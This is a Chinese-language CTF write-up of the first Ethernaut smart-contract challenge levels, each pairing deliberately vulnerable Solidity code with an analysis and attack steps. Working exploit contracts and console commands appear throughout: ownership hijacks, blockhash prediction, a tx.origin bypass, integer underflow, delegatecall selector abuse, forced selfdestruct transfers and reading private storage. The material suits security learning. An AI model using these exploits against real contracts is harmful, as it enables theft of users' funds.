前言

Ethernaut是一个类似于CTF的智能合约平台,集成了不少的智能合约相关的安全问题,这对于安全审计人员来说是一个很不错的学习平台,本篇文章将通过该平台来学习智能合约相关的各种安全问题,由于关卡较多,而且涉及合约的分析、攻击流程的演示所以篇幅较长,经过缩减最终定为两篇文章来分享。
平台地址:https://ethernaut.zeppelin.solutions

环境准备

  • Chrome浏览器
  • 插件——以太坊轻钱包MetaMask(https://metamask.io/)
  • 在MetaMask中调整网络为测试网络,之后给自己的钱包地址充值ETH。

前置知识

浏览器控制台
在整个Ethernaut平台的练习中我们需要通过Chrome浏览器的控制台来输入一系列的命令实现与合约的交互,在这里我们可以直接在Chrome浏览器中按下F12,之后选择Console模块打开浏览器控制台,并查看相关信息:

具体的交互视情况而定,例如:
当控制台中输入"player"时就看到玩家的地址信息(此时需实现Ethernaut与MetaMask的互动):

当输入getBlance(player)当前玩家的eth余额

如果要查看控制台中的其他实用功能可以输入"help"进行查看~
以太坊合约
在控制台中输入"Ethernaut"即可查看当前以太坊合约所有可用函数:

通过加"."可以实现对各个函数的引用(这里也可以把ethernaut当作一个对象实例):

获取关卡示例
我们可以通过点击“Get new instance”来获取关卡示例:

过关斩将

Hello Ethernaut

Hello Ethernaut这一关的目的是让玩家熟悉靶场操作(控制台的交互、MetaMask的交互等),因此依次按照提示一步一步做就可以完成了~
首先点击"Get new instance"来获取关卡示例:

之后交易确认后返回一个交互合约地址:

之后在控制台中根据提示输入以下指令:

await contract.info()
"You will find what you need in info1()."

await contract.info1()
"Try info2(), but with "hello" as a parameter."

await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."

await contract.infoNum()
42

await contract.info42()
"theMethodName is the name of the next method."

await contract.theMethodName()
"The method name is method7123949."

await contract.method7123949()
"If you know the password, submit it to authenticate()."

await contract.password()
"ethernaut0"

await contract.authenticate("ethernaut0")


之后等合约交互完成后直接点击"submit instance"提交答案,并获取当前关卡的源代码:


之后等交易完成后给出完成关卡的提示:

并在下方给出源代码:

pragma solidity ^0.4.18;

contract Instance {

  string public password;
  uint8 public infoNum = 42;
  string public theMethodName = 'The method name is method7123949.';
  bool private cleared = false;

  // constructor
  function Instance(string _password) public {
    password = _password;
  }

  function info() public pure returns (string) {
    return 'You will find what you need in info1().';
  }

  function info1() public pure returns (string) {
    return 'Try info2(), but with "hello" as a parameter.';
  }

  function info2(string param) public pure returns (string) {
    if(keccak256(param) == keccak256('hello')) {
      return 'The property infoNum holds the number of the next info method to call.';
    }
    return 'Wrong parameter.';
  }

  function info42() public pure returns (string) {
    return 'theMethodName is the name of the next method.';
  }

  function method7123949() public pure returns (string) {
    return 'If you know the password, submit it to authenticate().';
  }

  function authenticate(string passkey) public {
    if(keccak256(passkey) == keccak256(password)) {
      cleared = true;
    }
  }

  function getCleared() public view returns (bool) {
    return cleared;
  }
}

从源代码中可以看到该关卡其实是一系列的函数调用与传参操作,其实该关卡就是让玩家熟悉控制台和MetaMask的使用以及配合交互操作!

Fallback

闯关要求
  • 成为合约的owner
  • 将余额减少为0
合约代码
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
//合约Fallback继承自Ownable
contract Fallback is Ownable {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
//通过构造函数初始化贡献者的值为1000ETH
  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }
// 将合约所属者移交给贡献最高的人,这也意味着你必须要贡献1000ETH以上才有可能成为合约的owner
  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] = contributions[msg.sender].add(msg.value);
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
//获取请求者的贡献值
  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }
//取款函数,且使用onlyOwner修饰,只能被合约的owner调用
  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }
//fallback函数,用于接收用户向合约发送的代币
  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);// 判断了一下转入的钱和贡献者在合约中贡献的钱是否大于0
    owner = msg.sender;
  }
}
合约分析

通过源代码我们可以了解到要想改变合约的owner可以通过两种方法实现:
1、贡献1000ETH成为合约的owner(虽然在测试网络中我们可以不断的申请测试eth,但由于每次贡献数量需要小于0.001,完成需要1000/0.001次,这显然很不现实~)
2、通过调用回退函数fallback()来实现
显然我们这里需要通过第二种方法来获取合约的owner,而触发fallback()函数也有下面两种方式:

  • 没有其他函数与给定函数标识符匹配
  • 合约接收没有数据的纯ether(例如:转账函数))

因此我们可以调用转账函数"await contract.sendTransaction({value:1})"或者使用matemask的转账功能(注意转账地址是合约地址也就是说instance的地址)来触发fallback()函数。
那么分析到这里我们从理论上就可以获取合约的owner了,那么我们如何转走合约中的eth呢?很明显,答案就是——调用withdraw()函数来实现。

攻击流程
contract.contribute({value: 1}) //首先使贡献值大于0
contract.sendTransaction({value: 1}) //触发fallback函数
contract.withdraw() //将合约的balance清零

首先点击"Get new instance"来获取一个实例:

之后开始交互,首先查看合约地址的资产总量,并向其转1wei

等交易完成后再次获取balance发现成功改变:

通过调用sendTransaction函数来触发fallback函数并获取合约的owner:

之后等交易完成后再次查看合约的owner,发现成功变为我们自己的地址:

之后调用withdraw来转走合约的所有代币


之后点击"submit instance"即可完成闯关:

Fallout

闯关要求

获取合约的owner权限

合约代码
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout is Ownable {

  using SafeMath for uint256;
  mapping (address => uint) allocations;

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}
合约分析

该关卡的要求是获取合约的owner,我们从上面的代码中可以看到没有类似于上一关的回退函数也没有相关的owner转换函数,但是我们在这里却发现一个致命的错误————构造函数名称与合约名称不一致使其成为一个public类型的函数,即任何人都可以调用,同时在构造函数中指定了函数调用者直接为合约的owner,所以我们可以直接调用构造函数Fal1out来获取合约的ower权限。

攻击流程

直接调用构造函数Fal1out来获取合约的ower权限即可。
点击“Get new instance”来获取示例:


之后查看当前合约的owner,并调用构造函数来更换owner:

等交易完成后,再次查看合约的owner发现已经发生变化了:

之后点击“submit instance”来提交答案即可:

Coin Flip

闯关要求

这是一个掷硬币游戏,你需要通过猜测掷硬币的结果来建立你的连胜记录。要完成这个等级,你需要使用你的通灵能力来连续10次猜测正确的结果。

合约代码
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
合约分析

在合约的开头先定义了三个uint256类型的数据——consecutiveWins、lastHash、FACTOR,其中FACTOR被赋予了一个很大的数值,之后查看了一下发现是2^255。
之后定义的CoinFlip为构造函数,在构造函数中将我们的猜对次数初始化为0。
之后的flip函数先定义了一个blockValue,值是前一个区块的hash值转换为uint256类型,block.number为当前的区块数,之后检查lasthash是否等于blockValue,相等则revert,回滚到调用前状态。之后便给lasthash赋值为blockValue,所以lasthash代表的就是上一个区块的hash值。
之后就是产生coinflip,它就是拿来判断硬币翻转的结果的,它是拿blockValue/FACTR,前面也提到FACTOR实际是等于2^255,若换成256的二进制就是最左位是0,右边全是1,而我们的blockValue则是256位的,因为solidity里“/”运算会取整,所以coinflip的值其实就取决于blockValue最高位的值是1还是0,换句话说就是跟它的最高位相等,下面的代码就是简单的判断了。
通过对以上代码的分析我们可以看到硬币翻转的结果其实完全取决于前一个块的hash值,看起来这似乎是随机的,它也确实是随机的,然而事实上它也是可预测的,因为一个区块当然并不只有一个交易,所以我们完全可以先运行一次这个算法,看当前块下得到的coinflip是1还是0然后选择对应的guess,这样就相当于提前看了结果。因为块之间的间隔也只有10s左右,要手工在命令行下完成合约分析中操作还是有点困难,所以我们需要在链上另外部署一个合约来完成这个操作,在部署时可以直接使用http://remix.ethereum.org来部署
Exploit:

pragma solidity ^0.4.18;
contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue/FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract exploit {
  CoinFlip expFlip;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function exploit(address aimAddr) {
    expFlip = CoinFlip(aimAddr);
  }

  function hack() public {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool guess = coinFlip == 1 ? true : false;
    expFlip.flip(guess);
  }
}
攻击流程

点击“Get new Instance”获取一个实例:

之后获取合约的地址以及"consecutiveWins"的值:

之后在remix中编译合约

之后在remix中部署“exploit”合约,这里需要使用上面获取到的合约地址:

之后合约成功部署:

之后点击"hack"实施攻击(至少需要调用10次):

之后再次查看“consecutiveWins”的值,直到大于10时提交即可:


之后点击“submit instance”提交示例:

之后成功闯关:

Telephone

闯关要求
  • 获取合约的owner权限
合约代码
pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
合约分析

前面是个构造函数,把owner赋给了合约的创建者,照例看了一下这是不是真的构造函数,确定没有问题,下面一个changeOwner函数则检查tx.origin和msg.sender是否相等,如果不一样就把owner更新为传入的owner。
这里涉及到了tx.origin和msg.sender的区别,前者表示交易的发送者,后者则表示消息的发送者,如果情景是在一个合约下的调用,那么这两者是木有区别的,但是如果是在多个合约的情况下,比如用户通过A合约来调用B合约,那么对于B合约来说,msg.sender就代表合约A,而tx.origin就代表用户,知道了这些那么就很简单了,和上一个题目一样,我们这里需要另外部署一个合约来调用这儿的changeOwner:
Exploit:

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
contract exploit {

    Telephone target = Telephone(your instance address);

    function hack(){
        target.changeOwner(msg.sender);
    }
}
攻击流程

点击“Get new Instance”来获取一个实例:

之后查看合约的地址:

之后用上面的地址替换exploit中的地址,最终的exp如下

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
contract exploit {

    Telephone target = Telephone(0x932b6c14f6dd1a055206b0784f7b38d2217d30e5);

    function hack(){
        target.changeOwner(msg.sender);
    }
}

之后在remix中编译合约:

部署合约

之后查看原合约的owner地址:

之后点击“hack”来实施攻击:

之后成功变换合约的owner

之后点击“submit instance”来提交示例即可:

Token

闯关要求

玩家初始有token20个,想办法黑掉这个智能合约来获取得更多Token!

合约代码
pragma solidity ^0.4.18;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
合约分析

此处的映射balance代表了我们拥有的token,然后通关构造函数初始化了owner的balance,虽然不知道是多少,下面的transfer函数的功能为转账操作,最下面的balanceOf函数功能为查询当前账户余额。
通过粗略的一遍功能查看之后我们重点来看此处的transfer()函数

function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

在该函数中最为关键第一处就是"require"校验,此处可以通过“整数下溢”来绕过检查,同时这里的balances和value都是无符号整数,所以无论如何他们相减之后值依旧大于0(在相等的条件下为0)。
那么在当前题目条件下(题目中token初始化为20),所以当转21的时候则会发生下溢,导致数值变大其数值为2^256 - 1

攻击流程

点击“Get new instance”来获取一个实例

之后调用transfer函数向玩家地址转币:

之后等交易完成之后,我们可以看到玩家的代币数量会变得非常非得多,和我们之前预期的一样:

之后我们点击“submit instance”提交答案即可:

Delegation

闯关要求

获取合约的owner权限。

合约代码
pragma solidity ^0.4.18;

contract Delegate {

  address public owner;

  function Delegate(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  function Delegation(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  function() public {
    if(delegate.delegatecall(msg.data)) {
      this;
    }
  }
}
合约分析

在这里我们看到了两个合约,Delegate初始化时将传入的address设定为合约的owner,下面一个pwn函数也引起我们的注意,从名字也能看出挺关键的。
之后下面的Delegation合约则实例化了上面的Delegate合约,其fallback函数使用了delegatecall来调用其中的delegate合约,而这里的delegatecall就是问题的关键所在。
我们经常会使用call函数与合约进行交互,对合约发送数据,当然,call是一个较底层的接口,我们经常会把它封装在其他函数里使用,不过性质是差不多的,这里用到的delegatecall跟call主要的不同在于通过delegatecall调用的目标地址的代码要在当前合约的环境中执行,也就是说它的函数执行在被调用合约部分其实只用到了它的代码,所以这个函数主要是方便我们使用存在其他地方的函数,也是模块化代码的一种方法,然而这也很容易遭到破坏。用于调用其他合约的call类的函数,其中的区别如下:
1、call 的外部调用上下文是外部合约
2、delegatecall 的外部调用上下是调用合约上下文
3、callcode() 其实是 delegatecall() 之前的一个版本,两者都是将外部代码加载到当前上下文中进行执行,但是在 msg.sender 和 msg.value 的指向上却有差异。

在这里我们要做的就是使用delegatecall调用delegate合约的pwn函数,这里就涉及到使用call指定调用函数的操作,当你给call传入的第一个参数是四个字节时,那么合约就会默认这四个自己就是你要调用的函数,它会把这四个字节当作函数的id来寻找调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个bytes,函数前面就是带有括号括起来的参数类型列表的函数名称。

经过上面的简要分析,问题就变很简单了,sha3我们可以直接通过web3.sha3来调用,而delegatecall在fallback函数里,我们得想办法来触发它,前面已经提到有两种方法来触发,但是这里我们需要让delegatecall使用我们发送的data,所以这里我们直接用封装好的sendTransaction来发送data,其实到了这里我也知道了前面fallback那关我们也可以使用这个方式来触发fallback函数:

contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});
攻击流程

点击“get new instance”来获取一个实例

之后通过fallback函数里的delegatecall来调用pwn函数更换owner:


之后点击“submit instance”来提交答案

Force

闯关要求

让合约的balance比0多

合约代码
pragma solidity ^0.4.18;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}
合约分析

第一眼看上去——懵了,这是什么呀?一个猫???,合约Force中竟然没有任何相关的合约代码,感觉莫名奇妙。。。
经过查看资料,发现在以太坊里我们是可以强制给一个合约发送eth的,不管它要不要它都得收下,这是通过selfdestruct函数来实现的,如它的名字所显示的,这是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数所指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数,因为我们之前也提到了当合约直接收到一笔不知如何处理的eth时会触发fallback函数,然而selfdestruct的发送将无视这一点,这里确实是比较有趣了。
那么接下来就非常简单了,我们只需要创建一个合约并存点eth进去然后调用selfdestruct将合约里的eth发送给我们的目标合约就行了。

攻击流程

点击“Get new Instance”来获取一个实例:

之后获取合约地址

之后创建一个合约并存点eth进去然后调用selfdestruct将合约里的eth发送给目标合约:

pragma solidity ^0.4.20;
contract Force {
 function Force() public payable {}
 function exploit(address _target) public {
    selfdestruct(_target);
 }
}

编译合约

部署合约

之后调用“ForceSendEther()”函数,并传入合约的地址:

交易成功之后,再次查看合约的额度发现——“非零”

之后点击“submit instance”进行提及案例即可:

Vault

闯关要求

解锁用户。

合约代码
pragma solidity ^0.4.18;

contract Vault {
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}
合约分析

从代码里可以看到我们需要得到它的密码来调用unlock函数以解锁合约,而且我们注意到在开始它是直接定义存储了password的,虽然因为是private我们不能直接看到,然而我们要知道这是在以太坊上,这是一个区块链,它是透明的,数据都是存在块里面的,所以我们可以直接拿到它。

这里通过getStorageAt函数来访问它,getStorageAt函数可以让我们访问合约里状态变量的值,它的两个参数里第一个是合约的地址,第二个则是变量位置position,它是按照变量声明的顺序从0开始,顺次加1,不过对于mapping这样的复杂类型,position的值就没那么简单了。

攻击流程

点击“Get new Instance”之后获取一个实例

之后在console下运行以下代码:

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});


之后进行解锁:


之后点击“submit”来提交答案:

上篇分析至此结束,下篇目前已经写好,后续不久会奉上~

参考资料

https://paper.seebug.org/624/
https://remix.readthedocs.io/en/latest/
http://cw.hubwiz.com/card/c/web3.js-1.0/
https://ethfans.org/ajian1984/articles/33425
https://github.com/OpenZeppelin/openzeppelin-contracts
https://www.bubbles966.cn/blog/2018/05/05/analyse_dapp_by_ethernaut/
http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/
http://rickgray.me/2018/05/26/ethereum-smart-contracts-vulnerabilities-review-part2/

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖